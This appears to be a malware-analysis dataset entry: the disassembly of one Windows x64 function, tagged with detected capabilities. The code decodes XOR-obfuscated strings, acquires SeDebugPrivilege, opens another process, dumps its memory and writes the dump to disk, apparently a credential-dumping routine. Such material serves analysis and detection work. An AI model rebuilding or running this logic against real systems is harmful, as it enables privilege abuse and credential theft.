Function at 0x140002cbc
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
xor ebx, ebx
lea r8, [rbp + 0x1c0]
or rcx, 0xffffffffffffffff
mov qword [rbp + 0x1c0], rbx
mov qword [rsp + 0x44], rbx
lea edx, [rbx + 0x28]
call qword [0x1400061c8]
test eax, eax
je 0x140002d90
movups xmm0, xmmword [str.d__YIZnM_7___G]
mov al, byte [0x1400046b0]
lea r9, [rsp + 0x50]
mov dword [rsp + 0x40], 1
mov r8d, ebx
movups xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x4c], 2
mov byte [rsp + 0x60], al
mov eax, 0x2f684bdb
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
mov al, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9], al
inc r9
cmp r8d, 0x11
jl 0x140002d29
lea rcx, [rsp + 0x50]
call fcn.14000179c
lea r8, [rsp + 0x44]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rbp + 0x1c0]
test eax, eax
jne 0x140002db0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.I_dont_have_SeDebugPirvs_n
call fcn.140001578
lea rcx, str.____Failed_elevating_process..._n
call fcn.140001578
or eax, 0xffffffff
mov rbx, qword [rsp + 0x2c8]
add rsp, 0x2b0
pop rbp
ret
mov qword [rsp + 0x28], rbx
lea r8, [rsp + 0x40]
mov r9d, 0x10
mov qword [rsp + 0x20], rbx
xor edx, edx
call qword [0x1400061e8]
mov rcx, qword [rbp + 0x1c0]
test eax, eax
jne 0x140002de7
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Could_not_adjust_to_SeDebugPrivs_n
jmp 0x140002d8b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
mov dword [rsp + 0x68], 0x30
movdqu xmmword [rbp - 0x78], xmm0
mov qword [rsp + 0x70], rbx
mov dword [rbp - 0x80], ebx
mov qword [rsp + 0x78], rbx
call fcn.1400017fc
mov eax, eax
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x68]
mov qword [rsp + 0x40], rax
mov edx, 0x410
mov qword [rsp + 0x48], rbx
lea rcx, [rbp + 0x1c0]
mov qword [rbp + 0x1c0], rbx
call qword [0x1400061c0]
mov rcx, qword [rbp + 0x1c0]
mov qword [0x1400061b0], rcx
test rcx, rcx
jne 0x140002e5d
lea rcx, str.____Failed_in_OpenProcess..._n
jmp 0x140002d97
call fcn.140002ac8
test eax, eax
je 0x140002f6f
lea rcx, str.___Completed__n
call fcn.140001578
mov edx, dword [0x1400061b8]
lea rcx, str.___Final_size:__d_MiB_n
shr edx, 0x14
call fcn.140001578
mov edx, dword [0x1400061b8]
call fcn.140002698
movzx eax, word [0x140004618]
lea r9, [rsp + 0x40]
movsd xmm0, qword [str.ZA_OVL]
mov r8d, ebx
mov word [rsp + 0x48], ax
mov al, byte [0x14000461a]
mov byte [rsp + 0x4a], al
movsd qword [rsp + 0x40], xmm0
mov eax, 0x2f684bdb
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
mov al, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9], al
inc r9
cmp r8d, 0xb
jl 0x140002ec2
mov r8d, 0x104
mov dword [rbp + 0x1c0], ebx
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov qword [rsp + 0x30], rbx
lea rcx, [rbp - 0x60]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r8d, dword [0x1400061b8]
lea r9, [rbp + 0x1c0]
mov rdx, qword [0x1400061f0]
mov rcx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140002f6f
lea rdx, [rsp + 0x40]
lea rcx, str.___Written_to__s_n
call fcn.140001578
xor eax, eax
jmp 0x140002d9f